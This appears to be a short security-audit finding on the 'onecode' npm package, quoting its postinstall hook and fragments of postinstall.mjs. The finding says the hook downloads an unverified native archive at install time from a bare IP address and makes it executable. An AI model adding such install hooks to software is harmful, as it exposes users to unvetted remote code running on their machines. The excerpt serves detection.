scripts.postinstall = node ./postinstall.mjs
Install-time code downloads an unverified remote native archive, stages it locally, activates an executable path, and exposes it to process execution.
10import os from "os"
11import https from "https"
12import { fileURLToPath } from "url"
⋯
15const product = "onecode"
16const DEFAULT_TGZ_BASE = "https://218.90.133.98:4443/onecode_tgz"
17
⋯
78const binaryName = detectPlatformAndArch().platform === "windows" ? `${product}.exe` : product
79const binaryPath = path.join(rootDir, "node_modules", packageName, "bin", binaryName)
80if (!fs.existsSync(binaryPath)) return null
81return { binaryPath, binaryName, packageName }
82}
⋯
99return new Promise((resolve, reject) => {